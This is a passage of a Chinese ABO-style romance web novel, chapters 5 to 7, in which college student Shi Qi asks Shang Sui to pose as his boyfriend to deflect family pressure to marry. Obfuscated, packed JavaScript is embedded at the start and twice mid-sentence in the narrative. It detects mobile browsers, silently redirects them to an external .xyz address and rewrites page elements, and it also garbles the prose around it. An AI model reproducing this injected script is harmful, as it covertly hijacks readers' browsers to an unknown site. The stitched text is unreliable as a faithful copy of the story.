0=7.0.6();b(/a|9|1|2|5|4|3|c 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林言发过来一长串感叹号,显然心惊胆战,时绮又说了一次真的没事。 片刻过后,林言再度发来消息。 言言:[傅思越还说你被一个来路不明的妖孽迷惑了神志,让我赶紧唤醒你。] 言言:[真的假的,听起来好香艳。] 17:[编聊斋呢他。] 17:[傅思越那么光滑的大脑,说出来的话你也敢信?] 说到这里,时绮才想起还有一个人,回头一看压根不见傅思越的人影。他回忆了一下,对方似乎十多分钟前就离开了,走前好像让他回学校后发个消息。 估计傅思越知道自己留在这里没有好下场,已经提前溜之大吉。 言言:[傅思越给我发照片了。] 隔着屏幕,时绮都能感受到林言的好奇和兴奋:[让我看看你究竟在跟谁私会!] 好。 不仅造谣,还敢偷拍。 时绮正考虑要不要把傅思越从黑名单拉出来喷一顿,林言的两条语音以最快速度发了过来。时绮想也不想,顺手点开。 不曾想,林言的嗓门比预料中大了十倍: “我操!穿这么骚,这男的谁啊?” “一看就不像做正经工作的,不会故意勾引你吧?” 整整过去三秒,时绮才消化掉林言的惊世骇俗之语。 他脸颊飞速升温,险些直接把手机扔出去,慌乱之中下意识去看商随的反应,不料手指又一次划到下一条最新发来的语音。 林言再度对他重拳出击:“但是正好,宝宝你就喜欢这种骚的……” 操!好想把林言毒哑!! 时绮快疯了。 他都不敢去看商随,只能鸵鸟似的垂着头。 商随会不会没听见?或者听见了也不会往自己身上想? 毕竟谁会当面跟朋友说另一个人不正经、勾引人呢!是这个道理吧?哈哈哈! 商随都没说话,肯定没想太多,没事的! ……三、二、一。 应该差不多了。 商随不顾时绮涨红的脸,毫无同理心地想。 就在时绮以为万事大吉、刚要松一口气时,商随冷不丁问: “是在说我吗?” 5. 朋友 商随的问题来得猝不及防,时绮想也不想:“是啊。” ……等等。 嗯? 啊??? “不是!我朋友可能对你有一点误解,他没见过……”时绮脑子拼命转动,终于筛选出一个恰当的形容词,“没见过穿这么艺术的!” 事实上林言经常泡吧,各路妖魔鬼怪屡见不鲜。刚才那两句明贬暗褒,可以说是对商随的照片给出了相当高的评价。 “至于那什么、勾引——”时绮说出这个词都觉得烫嘴,“那也是他乱说的,我知道你没有那个意思。” 时绮解释的语速很快,似乎真的怕他多想。 来警局的路上,商随知道傅思越一直在盯着他看。不难瞧出傅思越对时绮有意思,本能排斥出现在时绮身边的Alpha,况且他的表现的确有些反常,傅思越这么警惕也不奇怪。 时绮却一句也没有问,不知道是迟钝,还是纯粹对他十分信任。 无论是哪一个答案,配上时绮现在的模样,都令人心软。 “我知道了。”商随说。 时绮听罢松了口气。 都怪林言。 什么不正经工作,把人家描述成什么了!明明就是个陪聊而已! “不过……” 心软归心软,却还是忍不住捉弄他。 商随意有所指补充:“你朋友说的也没错。” 时绮一怔,只觉得这一上一下犹如脑筋急转弯。 商随却在这时看了一眼时间,自然而然岔开话题: “不早了,送你回学校。” “现在回去,应该还能进宿舍吧?” - 回程速度比预想中慢一些,到学校已经接近零点。商随站在宿舍楼外,远看着时绮跟他们这栋楼的门卫说了什么,最终把他放了进去。 走之前,时绮朝他挥挥手,商随也抬手和他道别。 这附近有好几所大名鼎鼎的高校,国内最大的美院就在时绮的学校隔壁。 因为今天休假,不少学生三三两两聚集在一起,商量着一会儿要去哪玩儿。附近的酒吧隐隐约约传来歌声,一部分餐馆门口甚至还在排队。 想起谢教授邀请他做助教时,说他们这边别的特色没有,就是热闹,倒是的确没错。 商随走了一段路,考虑过后,给谢教授发去了一条消息。 他住的地方离大学城不远。回家后商随洗了个澡,拍了拍时绮的微信。 时绮回复得很快。 17:[1。] Ss:[现在有空吗,想问问今天玩得怎么样。] 17:[有空。] Ss:[对今天的游玩地点满意吗?] 17:[满意,挺漂亮的。] 几乎是时绮刚回复,商随就发来了一张游乐场的照片。 这张照片不知道是商随什么时候拍的。灯火辉煌的城堡、幽灵与糖果的造景,只是看着就能回忆起万圣节的氛围。 不等时绮回复,商随继续。 Ss:[吃到的食物呢?] 17:[有点甜,但还不错。] 一张冰淇淋的照片冒了出来。 时绮这才想起他拿到冰淇淋的时候,商随好像确实用手机拍了一下。 照片上的柚子冰淇淋比实物还要好看,背景是闪闪发亮的南瓜马车。也不知道拍摄者是怎么在那么短的时间内找到最合适的角度的。 时绮意识到了什么,开始有些期待接下来的问题。 正如他所料,每回答一个问题,商随都会给他发一张对应的照片。一个接一个,像是拆开独属于今天的小礼物。 又一个问题弹了出来,时绮目光一顿。 Ss:[对我满意吗?] 迟迟没有等到回答,商随的手指不由得轻轻敲击屏幕。 夹带私心被时绮发现了? 17:[满意。] 他笑了笑。 看来没被发现。 得到想要的答案总是令人高兴的,商随输入了最后一个问题。 Ss:[最后有什么想跟我说的吗?] 这一次时绮回复得很快。 17:[下次还点你。] 商随:“……” 时绮似乎完全把这当成了他的工作内容,压根没往其他方面想,甚至体贴地问了一句。 17:[你能交差了吧?要不要再夸你两句。] Ss:[好啊,再夸一下。] 17:[等会儿,查查资料。] 不等商随疑惑他究竟是去查什么,一长串消息弹了出来。 17:[该员工在本次活动中展现出了极高的职业素养,始终保持热情、礼貌、微笑,带给我莫大的舒适感,我十分欣喜!祝商随先生的事业更上一层楼!] 一看就是刚从网上复制粘贴的。 Ss:[……谢谢你的夸奖。] Ss:[这是最后一张照片,晚安^^] 这一次商随发来的不再是风景和食物,而是一张人像。 时绮愣了愣,这才想起商随一开始确实问过能不能给他拍照。他当时不甚在意点了点头,都没意识到对方是多久抓拍的。 照片上的人只露出一个略微模糊的半侧面。商随刚好抓住了旁边游乐设施的灯光打过来的一瞬间,时绮白金色的发丝被交叠的光影渲染。整个人仿佛在发光。 比起日常游玩记录,更像精美的摄影作品。 旁边传来林言幽幽的声音:“你看什么这么专心致志?我都叫你两声了。” 时绮:“欣赏我自己。” 林言:“给我也欣赏一下……我天!拍得好牛逼,看着跟小精灵似的。” “你今天还雇了个摄影师?微信推我!这比我上次2000一天的跟拍效果好多了。” “不是,是一起去游乐场的人拍的。” 林言一愣,追问道:“你到底跟谁一块儿出去了?” 大概知道偷拍不光彩,傅思越没拍商随的脸,林言只看脖子以下就觉得此人不简单。 想到时绮的审美取向,林言更是忧心忡忡:“你不会被渣男骗吧?” “这种会给对象拍照的十个里九个都是海王,你都没谈过恋爱,人家一骗一个准。” 时绮反驳:“不会,我能分辨出来。” 从高中到大学,时绮多多少少遇见过一些别有用心的Alpha,稍加接触就会令他本能地感到排斥,和商随相处却很舒服。 这句话不知道哪里戳中了林言的笑点,对方嘻嘻哈哈凑过来揉他的头发:“也是,你不好骗,你拥有小动物的直觉。” “……” 时绮忍了忍,补了一句:“而且我们也不是那种关系。就是单纯的……服务?” 林言倒吸一口凉气:“你说的是摄影服务吧?!” 三言两语解释不清楚,时绮道:“你就当是这样好了。” 林言表情越发惊悚,最后竟露出欣慰的笑容:“小绮,是我看错你了。” “原以为腺体退化令你丧失了世俗的欲望,原来一旦开始,你才是玩得最花的那一个。” 时绮忍无可忍,盯着他说:“我现在想玩点更花的。” “哎呀你好S!”林言双手捧脸,面露期待,“嗯嗯,你要跟我玩什么?” “亲手把你的嘴缝上。” “……” - 翌日早晨。 商随醒来时,谢教授已经给了回复。 对方告诉他助教的职务现在还空着,只要他愿意,随时可以过来任职。 谢教授让他看见后回复消息,约定好时间去学校办理手续。 商随下了床,简单洗漱后准备打个电话过去,江砚的电话先一步打了进来。 “兄弟,你上社会新闻了。”江砚的语气透出揶揄,“跟你老板一起。” 说话间江砚发来了一个视频链接。昨晚在游乐场他和时绮联手制住暴走的Alpha,有人完整录下了当时混乱的景象。 “热搜上高位挂着呢,我今天刚到店就听见有人在讨论你们。厉害厉害。” 视频的点赞和留言数量都多得惊人。大多数是夸赞见义勇为,也有科普Alpha特殊易感期的,甚至还有磕颜磕他俩CP的,一时之间十分热闹。 商随看了一会儿,想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805762|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江砚一向话多:“别告诉我家里人。” 江砚跟他是高中同学,大概了解一点他的情况:“知道。” 商随高中时的性格比现在冷淡许多。他是艺术生,家境好、长相出众,好像挑不出一丝一毫的差错,却始终不曾融入群体。 喜欢他的人很多,讨厌他的也不少。 毕竟一个人如果太完美,却像跟谁都隔着一层壁,有时候难免令旁观者看不顺眼。 和过去相比,商随的性格已经改变很多了。 说起来,他是从多久开始变化的……? 江砚想半天没想出答案,转而问道:“不过你俩不是吃饭吗,怎么跑到游乐园去了?对了,你哄他花了多少钱,我给你转过来。” “不用你给。” “?”江砚不禁十分感动,“谢谢你小随哥哥,我懂你的外冷内热。” “是什么让你做出了改变?我知道了,你是不是终于有兴趣入股我们绘涧,第一步就是自掏腰包填补空缺——” 江砚一直坚信商随有大运在身上,本硕期间随手投的几个项目都赚了大钱。最初开餐厅一度想拉着商随入股,不为别的,只为蹭蹭他的运势。 然而等江砚兴致勃勃描述完自认为绝妙的想法,却被商随毫不犹豫拒绝。 江砚以为他终于睁眼看见了绘涧的商机,开始畅享道:“你现在入股,我立即把你名字挂上去。” “不喜欢特殊场所,挂了。” “?”哈? 被商随单方面挂掉电话后,江砚愤怒道:“……什么人啊!我开的是正儿八经的餐厅,餐厅!!” 商随正准备退出视频,突然看见了一条评论。 [其中一个好像17宝宝哎。] [是他是他!小绮最近染了头发!这个浅浅的颜色很好认。] …… 有人在楼中楼里艾特了一个名为1717177的账号,商随意识到什么,点了进去。 这个号应该是时绮高中时开的,一直用到现在。 第一条帖子是一本放着笔的物理练习册,时绮写完之后,自己对自己做出评价: [天才。] 商随看了一眼发布时间。 凌晨四点多。 他学习这么努力吗? 时绮高中时兼职过模特,有一部分帖子是拍摄时的花絮;他也很擅长跳舞,游览量最多的几条都和舞蹈有关。 他跳的应该是hippop、popping一类的舞蹈。时绮的身体很灵活,手长腿长,尤其是有震感的动作被他处理得非常漂亮,充满利落的少年气。 看得出来,他跳舞的时候融入了自己的审美和巧思。 关注时绮的人很多,但他发的东西却很少,尤其是最近即将入冬,他似乎更不想登录账号了。上一次更新是两个月前。 商随点了个关注。几乎是同一时间,主页自动刷新,账号“1717177”发布了一条新帖。 照片上的时绮只露出一个略显模糊的半侧面,背景是五彩斑斓的乐园。 是他拍的那一张。看来时绮对这张照片挺满意的。 [猫老大你终于想起账号密码了……] [小绮!!妈妈还以为你去冬眠了!!!] [我操这张又美又帅看了想下跪,谁给你拍的,老公宝宝你不会背着大家谈恋爱吧?] [17又在穿黑色。] [哈哈哈哈哈哈毕竟是一辈子只穿黑白两色的酷哥。] [看见游乐场的新闻了,没事吧!] …… [1717,视频里和你一起的是新朋友吗?] 看见最后一条评论,商随目光微顿。 对于遗忘过去的时绮来说,他们认识不到短短一周,他好像够不上朋友的标准。 况且那么多人留言,时绮说不定都不会注意到这条评论。 正是在这时,系统提示博主回复了一条新帖。 嗯……?不会吧。 商随一边这样想着,一边又因微小的可能而期待。 再一次刷新时,时绮回复了那条关于朋友的帖子: [嗯,是个很有趣的人。] 6. 计划 或许是最近几天过得太充实,时绮夜里迟迟没能入眠。 他通常失眠到两点多,最近直接推迟到了三四点,让时绮回忆起高中睡不着刷题的日子。 他原本成绩不怎么样,半夜三更闲来无事,时绮找到了一个最催眠的办法:起来做题。 做数理化比躺在床上发呆管用多了,却也没想到,他最后因此莫名其妙考上了A大。高中班主任听了都觉得不可思议。 就这样有一搭没一搭想着过去的事情,时绮终于陷入了沉睡。 …… …… 本以为周末能好好补个觉,周日傍晚,时绮接到了姜宥宁的电话。 “小绮,大事不妙。” “一年一度的家庭检查提前到了下周,我感觉很大可能是冲着你来的。” “小安爸爸昨天跟傅思越家里打了一个多小时电话,我偷听了一下,好像说是让你们多接触。傅思越也同意了。” “都什么年代了还搞包办婚姻这一套,就算你腺体有问题,也不能跟不喜欢的人在一起啊!要我说,小安爸爸的脑子有时候实在转不过弯……总之就是这样,别说姐姐没提醒你啊。” 时绮家里的长辈都是男性。他跟身为Omega的时安姓,姜宥宁跟身为Alpha的姜礼姓。 时绮才刚睡醒,被姜宥宁一通电话狂轰滥炸,他头痛地划开微信,看见时安在家庭群里发了一条新消息。 时安:[下周六家庭检查,大家记得空腹哦。] 这条消息下面附带了一张体检事项注意表,以及具体的体检项目。 另外两位家庭成员都回复收到,唯有时绮一声不吭。 时安:[小绮?] 时安:[宝宝,看见回复一下哦。] …… 时安逐渐暴躁:[时绮你别想装看不见,不回复我下周来学校逮你!] 时绮:“……” 时绮一瞬间想倒头继续睡过去,假装无事发生。 - 时安提前跟相熟的私立医院预约了各项检查,周六上午只接待他们一家人,很快拿到了体检结果。 时安看着时绮的信息素报告,手指颤抖,险些晕过去。 时绮的信息素下降速度比医生预计中还要快,只剩不到一年,他就会完全变为Beta。 最可怕的是,根据以往的数据,腺体缺失的Omega最终转变为Beta后,几乎全部活不到五十岁。 医生询问:“你最近失眠是不是越发严重了?” 时绮抿着唇,点了点头。 “情况不太好。”医生说,“最好抓紧时间,如果彻底转变为Beta,就算再和Alpha结合也无济于事。” 医生离开后,房间内的气氛有些凝重,一家人沉默不语。 “宝宝,你也听见医生的话了。”时安率先开口,“这个病必须跟匹配度70%以上的Alpha结合才能根治。我们之前也查过数据库,做过登记的Alpha里跟你高匹配度的本来就少。” “傅思越和你有78%的匹配度,我们两家也算知根知底。你要不要考虑一下?”怕时绮抗拒,时安补了一句,“而且傅阿姨说了,傅思越很喜欢你,天天在家里闹着要跟你结婚呢。” “您确定吗?” 时绮心说傅思越貌似也不是很待见他吧。不过比起这个,更重要的是:“我觉得傅思越不怎么样。” 时安:“为什么呢?” 时绮:“长得不好看,脑子不好使,说话不好听。” 他的否定三连令姜宥宁憋不住笑了一声,被时安回头看了一眼,她详装正经道:“怎么能以貌取人呢,小绮。” 时安劝道:“其实我觉得思越长得一表人才,还是不错呢。而且他虽然嘴笨了点儿,心是好的,现在不靠谱的Alpha特别多……” 姜礼在一旁尴尬地咳了一声。 姜宥宁也是Alpha,她翘着腿,假装没听见。 时绮:“我不喜欢笨的,我喜欢嘴甜的。” 时安:“……嘴甜的都是坏男人。” 时绮哦了一声,以目示意姜礼:“爸不是经常哄您吗?您自己明明也喜欢嘴甜的。” “……”时安恼羞成怒,“没大没小,说什么呢!” 意识到这里即将有一场大战发生,姜礼迤迤然起身:“突然想起我还有个会,就先走了。” 时绮:“爸爸?” 姜礼十分没立场地说:“乖啊,这个病我们还是得治。听你小安爸爸的话。” 时绮就没指望姜礼能帮忙,从小到大,他们家几乎时安说什么是什么。 姜礼离开后,姜宥宁同样见势不妙:“我的设计稿好像还没画完——” 时绮眼疾手快抓住她的外套:“姐姐不要走。” 姜宥宁本想一走了之,但这小子鲜少跟她求助,灯光照射下,时绮深灰色的眼眸显得格外湿润。 她心一狠,高跟鞋在地上一跺,重新坐了回来: “哎呀,您不要逼小绮嘛!” “那些并发症什么的都不一定,小绮一直很健康,说不定他就是例外呢。” 时绮附和道:“我也觉得,很可能我就是天选。” 时安:“……” 时安可不敢赌那点稀薄的可能性,见跟时绮讲道理不行,索性开始卖惨。 他伸手半掩面,哽咽道:“一想到你这个病,我晚上都睡不着。要是你只能活到四十多岁,你要我怎么办?……” 时安一边哭诉,一边观察时绮的神色。 姜宥宁连忙上去给他递纸:“哎呀不急不急,别哭别哭。” 她同时给时绮使眼色,示意他赶紧顺势来安慰一下。 时绮不为所动:“别装了,您眼泪都没流出来。” 见时安还在置若罔闻地假哭,时绮忍不住说:“您实在睡不着,可以考虑找个夜班上上。” 姜宥宁:“小绮!” 时安:“时绮!” 时安把纸巾一扔,脾气也上来了:“行,你一点儿都不着急这个病是吧?” 时绮看他真的有点生气,小声找补:“也不是,但着急也没用……” “从今天起,你的零花钱全停了。”时安说完嫌不够,“除了必要的生活费,卡也冻掉。” “?”啊? 时绮下意识抬起头。 他还想去绘涧找商随呢。 时安看他反应这么大,心里奇怪。 本以为停零用钱不会对时绮造成实质性的威胁,毕竟时绮花钱虽然大手大脚,但他物欲不高,平时在宿舍打打游戏也能过。 不管因为什么,办法有用就好。 时安宣布道:“什么时候你找着对象,什么时候再说吧。” “你把他领回来,到那天我一定给你准备个大红包。” - 时安说到做到,不仅迅速停了时绮的卡,还让姜宥宁和姜礼都不许支援他。 回到学校附近,时绮一边心不在焉往回走,一边思考该怎么办。 他了解时安的性格,后者看起来温温柔柔,一旦下了决定,九头牛都拉不回来。 况且这件事自他成年后就是悬在大家头顶的达摩克利斯之剑。家里催了又催,再这样下去,时安说不定有一天会把他绑去结婚。 姜宥宁和时绮想法一致。他们姐弟俩都认为既然已知生命不够长久,开开心心过好每一天最重要。 时绮看起来没心没肺,很多失眠的夜晚,其实反复考虑过。 害怕吗? 当然会害怕。 当他年纪小一些,第一次了解到自己与常人的不同时,一度为此感到恐惧。 就好像他比别人多了一盏更为短暂的时钟,冷酷地在耳边滴答倒数。 但渐渐的,时绮开始学会忽略钟表发出的杂音。 吃到好吃的甜点、学会一支感兴趣的舞、和朋友一起赢下球赛、连续阴雨后遇见放晴的好天气……应该是为了这些幸福到足以忘掉所有烦恼的瞬间活着,而不是被动走向他不喜欢的人生。 比起不自由,相较于旁人短暂些的寿命好像没那么难以忍受。 况且距离最后的期限还有很多年,与其担忧虚无缥缈的未来,不如抓住当下的快乐。 但时安的思想比较传统,无论时绮和姜宥宁说什么都听不进去。时安总认为相比起性命,不合意的婚姻忍一忍就过去了。 剩下的姜礼没有立场,负责和稀泥。 也因如此,这场拉锯战从时绮成年起就隐隐持续到了现在。以前大家还能勉强维持平衡,近期因为他的信息素水平飞速下降,时安开始逼他做出选择。 长辈的想法难以改变,只能自己另寻出路。 时绮本想把傅思越从黑名单放出来,让他也去抗争一下,毕竟多个人多份力。 但转念一想,傅思越那个妈宝男没有一点主见,一定会回答我听我妈的,时绮很快放弃这个打算。 正是在这时,有人叫了他的名字:“时绮?” 他闻声停下脚步,秦书赫正站在不远处的香樟树下,旁边还有一个人。 那人上半张脸被树木投下的阴影遮蔽。似乎感受到时绮的目光,商随往前走了两步,完全暴露在时绮的视野内。 他穿着半露锁骨的衬衫,叠了一件同色系的印花外套。容光焕发。衬得旁边天天熬夜掉分的秦书赫宛如一株枯草。 “你干嘛呢。”枯草开口道。 “我……”时绮一顿,反客为主,“你干嘛呢?” 他说话的同时,视线不自觉落在商随身上。 今天没穿破烂了,不过还是很花哨。 商随锁骨处的纹身是什么……?看不太清楚,是花吗? 秦书赫回答:“准备带新老师逛逛学校。” 被点名的新老师主动跟他打了个招呼:“嗨。” 时绮回过神来应了一声,心里却十分疑惑。 商随什么时候成美院的老师了,他不是绘涧的侍应生吗? 他正想开口问,又觉得秦书赫这个大嘴巴白的都能说成黑的,万一到处乱讲,对商随影响不好。 秦书赫看看他,又看看商随:“你俩认识?” 时绮抢先回答:“刚认识。” 商随原本似乎想说什么,闻言没有出声。 “好难得,”秦书赫稀奇道,“你平时都不搭理人的。” “我不搭理傻子。” “?”秦书赫扭头,“哥,给你介绍一下啊。隔壁A大著名低素质选手,不要看他长这样,其实具备极强的攻击性,碰见了最好绕道走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805763|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 时绮见他在商随面前抹黑自己,面无表情道:“你话真多。” “看起来不像。”商随笑了笑,“不过我会记得的。” “哎,那正好,我们逛学校也逛得差不多了。”秦书赫提议,“要不要一起吃个饭?晚上系里有聚餐,哥你一起来吧?” 秦书赫又问:“时绮你去不去?好几个人你都认识,还有之前拜托过你当模特的……” 时绮没注意秦书赫在说什么,他看着商随,脑海中逐渐浮现出一个大胆的想法。 既然家里执意要他找对象,那他干脆找个人应付时安的催促吧。 正好,他面前就有一个合适的。 时安性格多疑,大概率会觉得反常。不过商随说话做事都很靠谱,只要他答应,肯定能帮忙对付。 如此一来,自他成年起持续不断的念叨都能结束,他能过自己想过的生活,不用跟傅思越相看两厌、时安也不必找个夜班上。所有人至此全部解放。 “他不去。”时绮替商随回答,“我们有事情。” 最重要的是,他和商随相处很舒服。 难得有一个他感兴趣的Alpha,信息素还很好闻。正常情况下,如果Omega能够习惯Alpha的信息素,两人的匹配度应该很高。时安来了都挑不出差错。 时绮越想越觉得可行,心说我真是天才。 距离成功,只差收买商随这一步。 秦书赫十分疑惑:“你们不是不认识吗?怎么第一次见面就有事?” 时绮脑子里全是自己的大计划,实在不想再纠缠下去,干脆抬头看向问题的关键: “你跟我走,还是跟他走?” 时绮问完耍了个赖,伸出一只脚,光明正大拦在商随离开的必经之路上。 商随见他朝自己微微抬了抬下巴,大有不听话,就抬腿把他绊倒的架势。 商随乖乖配合:“跟你走。” 时绮心满意足,回头朝秦书赫宣布:“好了,你可以离开了。” “?”秦书赫目瞪口呆,“时绮,你是强盗吗?光天化日之下强抢民男啊?” 秦书赫实在太过聒噪,时绮干脆抓住商随的胳膊,同时提醒秦书赫:“拜拜,别跟上来。” 秦书赫:“……” 秦书赫见时绮犹如携带战利品一般牵着商随离开,一时之间没能缓过神。 这小子简直太霸道了,就算一见钟情下一步也不该是强取豪夺吧?! 自己到底要不要上前营救一波?他还指望新来的助教老师期末给他放放水呢! 就在秦书赫纠结的当口,时绮拉着商随离开学校,打算找个人少的地方说话。 美院近期在湖边做了一个折纸主题的小展览。临湖的街道上方悬挂着成百上千只折叠而成的彩色游鱼,许多游客慕名前来拍照打卡。 他们穿过人流,来到安静一些的角落。 时绮觉得差不多了,停下脚步,顺势放开他。 “你什么时候成秦书赫他们的老师了?” “找了个正经工作。”商随开玩笑道,“免得有人不方便认识我。” 时绮一时间不知道他是指林言那晚吐槽他看起来不正经,还是自己刚才在秦书赫面前假装不认识他,只能嘀咕道:“……你还挺记仇的。” “刚才说不认识你,是因为秦书赫管不住嘴,我怕他乱讲话,对你不好。”时绮对上他的视线,难得认真地跟一个人解释。 “谢谢,原来是这样。” 商随微微弯起眼睛,又变回了时绮熟悉的、温柔又好说话的模样:“你想跟我说什么?” “我家里……让我跟傅思越多接触。最好能尽快结婚。” 说到这里,时绮不禁开始磕磕绊绊。 他在心里重重叹了一口气。 包办婚姻已经足够搞笑,对象是傅思越更是难以启齿。 “我家里人的态度很坚定,因为一些原因,必须要我找一个对象。” 尽管希望商随能帮忙,但时绮不想提自己的病,以免像是刻意卖惨。 商随看他犹豫不决,在心里替他补全了未完的缘由。 ……原来是这样。 因为要和另一个Alpha产生亲密的关系,所以最好和他断掉联系吗? 相较于另外两种性别,Alpha生来俱有极强的占有欲和领地意识,无法接受自己的Omega与其他人不清不楚。 傅思越见过他。商随自己也是Alpha,知道比起虚构的假想敌,一个具体的形象更能令人抓狂。况且他当时还故意挑衅过傅思越。 时绮想说什么呢。 不要再联系了、假装不认识吧,以后都不要去打扰他? 商随想到这里,心一点点沉了下来,神情也变得晦暗。 时绮见商随脸上没什么表情,更是觉得举步维艰。 刚才想起来很顺畅,真到了开口这一步,难免有些不好意思。 “所以……” 所以…… 时绮迟疑地说:“你能不能当我男朋友?” 商随轻声问:“不能再跟我见面了吗?” 两个人几乎同时开口。 下一秒。 商随愣了愣,猛地抬起眼,定定看向他:“你说什么?” 7.偏心 商随的反应比预想中还要大。 时绮被他沉沉的目光看着,脊背都略微发麻,只能听从要求重复:“你能不能……当我男朋友?” 时绮匆匆补上后半句:“不是真的要和我谈恋爱。只要假扮一下,应付我家里就可以了。” “……” 先前几乎炸开的情绪被迫按下暂停键,在这句话中戛然而止。 商随神情莫测,一言不发。时绮也开始变得不确定。 这个要求是不是太突然了? 毕竟他跟商随认识时间不长,尽管相处得不错,但自己或许把一切想得太过简单。 商随见他懵懵懂懂,根本没意识到说话说一半对另一个人造成了多大的影响,一时之间,都不知道该说什么好。 但这样才合理。 时绮刚才应该就想补完后半句,是自己开口打断了他。 可即便如此……商随垂下眼,还是没法立即从一起一落里调整好情绪。 商随好像不太高兴……? 时绮感觉他不怎么想说话,有点尴尬地说:“如果你不愿意就算了。” “没关系,我再另外想想办法。” 商随没有直接回答,轻声问道:“为什么会找我帮忙?” 这个问题倒是简单。时绮说:“除了你之外,我没什么熟悉的Alpha。” “我家里很看重匹配度,可能会要求相应的报告。我能习惯你的信息素,我们的匹配度应该不低。” 这些都是最正当的理由,除此之外,还有他的一点私心。 可时绮再坦荡,也没法把这一部分说出来。 他自己都对此一知半解。不明白这种初次经历的、轻盈又朦胧的感受意味着什么,只知道应该小心一点,珍惜地对待这份未知的心情。 “就这样吗?” 只有这些吗? “而且……你很有说服力。” “什么意思?” 时绮在心里深吸一口气。 平时不是很有眼力见吗,怎么现在追着问? 商随还在等他的回答。事已至此,时绮只能道:“因为你讲话好听,还很会糊弄人,我家里人能被你骗过去。” “最重要的是,你长得很好看。”时绮实话实说,“我们一家人都喜欢好看的。” 如果在街上随便拉一个Alpha应付催婚,时安大概率会冷笑一声,说他在编故事。 但是看见商随的脸,这个故事的可信度会骤然提升百分之五十。 商随微微一怔,反应过来的时候,他已经笑了一下。 好像有点儿不可思议。 在时绮本人都没意识到的情况下,那些刚冒头的负面情绪就轻而易举消散。 “……既然这样,”商随既像回答他的提议,又像自言自语,“好像没有不同意的道理。” 时绮松了一口气:“那我们来谈谈价格吧。” “?” 时绮体贴道:“你放心,我不会让你吃亏的。” 时安停了他的卡,但他的小金库还有些积蓄。况且只要让时安相信他有对象,零花钱很快就能回来。 确定自己没听错,商随安静片刻,一字一句道:“我跟你假扮情侣,你要给我钱?” 时绮点了点头。 假扮情侣和在绘涧上班,区别应该不大?都是服务,那薪资也该差不多。 开口提出要求前,他已经大概算过收买商随的价格,在他能承担的范围内。 “之前和林言闲聊的时候,他提过绘涧的时薪。陪客人的时候差不多一小时一千,你应该比一般的侍应生贵一些?” “因为不知道多久需要你帮忙应付,就当一天上四小时班,我一个月给你……二十万?” 商随差点被呛住,不可思议地重复了一遍:“二十万?” 他到底被时绮当成什么了?? “太少了吗?”时绮看他的反应,迟疑道,“那,二十五万?” “这样的话,你不能再去绘涧上班,也不能陪别人。” 以后商随就只服务他一个人,好像也行?贵有贵的道理。 最近想买的几双鞋先放一放。林言之前叫他天冷了出去滑雪泡温泉,也往后靠靠。 “不过我的卡暂时被冻住,第一个月的工资可以按时给你,后面可能得等一等……” 眼看时绮越说越不对劲,商随打断他:“我们不是朋友吗?” “嗯?是。” 时绮微微一怔。 商随也觉得他们是朋友? “帮你的忙,是我心甘情愿的。” Alpha的声音温柔而轻快,和他独特的信息素一样,带着甜蜜又蛊惑的气息:“我当然不会要那些东西了。能够帮到你,我很开心呢。” “而且我已经从绘涧离职,以后不会再去那里,也不会跟着除你以外的人。” 时绮有些晕晕乎乎:“啊?那……” “不过找我帮忙,是你先提出来的。”商随话锋一转,笑着说,“这次可别再忘了。” 有那么一瞬间,时绮觉得自己像被猛兽按在爪下的猎物。 商随直勾勾注视着他,尽管带了笑意,却令人本能感到潜在的危险,犹如被细密的蛛丝缠上。 这次别再忘了……是什么意思? 不等他深想,商随又变回先前的模样,将话题轻轻揭过:“那我们现在就是情侣了。” “小绮?”见他一下子抬起头,商随补上后半句,“可以这么叫你吧?” - 回去的路上,时绮还有些恍惚。 商随叫他小名的声音时不时就从脑海掠过,时绮在心里啧了一声,耳朵有些发热。 想到这里,他偷偷朝旁边瞥了一眼。 为了适应新身份,商随陪同他一块儿往回走。时绮慢半拍地意识到,接下来很长一段时间里,他会和身边这个人有更多的接触。 正在这时,时绮手机响了响。 林言发来一条消息。 言言:[傅思越在楼下等你,要不你别回来了?] 时绮没多想,顺手回复。 17:[不足为惧。] 言言:[呃,怎么说?] 言言:[我怕他影响你心情。] 17:[没事,我马上到楼下了。] 几乎是刚回完消息,时绮抬头,远远看见两道熟悉的身影。 林言和傅思越犹如两尊门神一般伫立在宿舍楼下,正在说着什么。 因为被时绮拉黑,傅思越只能从旁打探消息,林言自然无可奉告。 不知道这家伙抽哪门子疯,得不到答案,居然胆大包天跑来宿舍楼下堵人。 林言只能也跟着下来,好心相劝:“你趁早死了这条心吧,时绮不会喜欢你的。” 傅思越嘴硬道:“那我也没办法,毕竟我妈让我跟他多接触——” 林言揭穿他:“你什么时候能不拿你妈当挡箭牌?明明是你有这个意向,阿姨才会这么说。” 傅思越从小嘴欠,主打一个喜欢你就要欺负你,令时绮烦不胜烦。 周围其他人都看出了他那点心思,唯独时绮对此毫无察觉。 在熟悉的朋友面前,傅思越叹了口气,也装不下去了:“我这不是,不方便开口吗。” “小时候我问时绮能不能嫁给我,他直接对我呕了一声。”回忆起当年的悲伤往事,傅思越抓了抓头发,“那什么,我只能想办法找点儿借口……” “……” 能坚持到现在,你也是很了不起。 尽管如此,林言想着,傅思越或许没有意识到,他的存在本身对时绮来说就是一种阻碍。 